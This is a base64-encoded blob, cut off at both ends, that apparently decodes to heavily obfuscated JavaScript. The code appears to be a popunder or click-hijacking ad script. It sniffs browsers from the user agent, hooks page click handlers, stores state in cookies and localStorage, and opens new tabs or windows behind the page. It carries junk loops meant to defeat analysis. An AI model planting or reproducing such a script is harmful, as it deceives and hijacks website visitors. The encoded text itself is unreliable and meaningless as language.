XGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKX